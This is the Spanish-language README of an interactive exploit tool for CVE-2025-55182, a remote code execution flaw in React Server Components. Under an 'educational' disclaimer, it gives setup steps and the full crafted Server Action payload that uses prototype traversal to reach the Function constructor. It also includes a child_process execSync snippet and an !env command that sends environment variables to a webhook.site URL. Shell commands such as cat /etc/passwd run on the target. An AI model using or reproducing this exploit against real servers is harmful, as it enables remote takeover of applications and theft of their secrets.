
CVE-2025-55182 PoC Interactivo - React Server Components RCE - Investigación Educativa de Seguridad
Shell interactiva para explotar CVE-2025-55182, una vulnerabilidad de ejecución remota de código (RCE) en React Server Components.
Esta herramienta se proporciona únicamente con fines EDUCATIVOS y de PRUEBAS DE SEGURIDAD AUTORIZADAS.
CVE-2025-55182 afecta a React Server Components (RSC) en:
La vulnerabilidad permite la ejecución remota de código (RCE) mediante payloads maliciosos enviados a las Server Actions.
$@x para referenciar objetos Chunk internos.then() (similares a Promise)_response, _formData y _prefixFunction mediante la travesía de la cadena de prototipos$3:constructor:constructor → Function constructor → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install
Edita exploit.js y actualiza estos valores:
const TARGET_URL = 'http://localhost:3000/' // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // Your webhook URL
Obtén un webhook gratuito en: https://webhook.site
node exploit.js
react2shell> !test
[+] Sent! Check webhook
react2shell> whoami
[+] Sent: whoami
react2shell> ls -la
[+] Sent: ls -la
react2shell> !env
[+] Sent! Check webhook for env vars
Los resultados aparecen en tu webhook, no en la terminal.
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}
next-action$@3 crea una referencia Chunk$3:constructor:constructor atraviesa hasta Function_prefix se pasa a Function() y se ejecutarequire() no está disponibleimport() dinámico en su lugar:
import("child_process").then(cp => cp.execSync("whoami"))
Actualiza a estas versiones para corregir la vulnerabilidad:
Licencia MIT - Solo con fines educativos.
PoC de investigación en seguridad - Úsala de forma responsable.
| Comando | Descripción |
|---|
!test | Comprueba si el exploit funciona (envía confirmación al webhook) |
!env | Exfiltra las variables de entorno (process.env) |
!js <code> | Ejecuta JavaScript personalizado |
!help | Muestra la ayuda |
!exit | Salir |
<command> | Ejecuta un comando del shell (p. ej., whoami, ls, cat /etc/passwd) |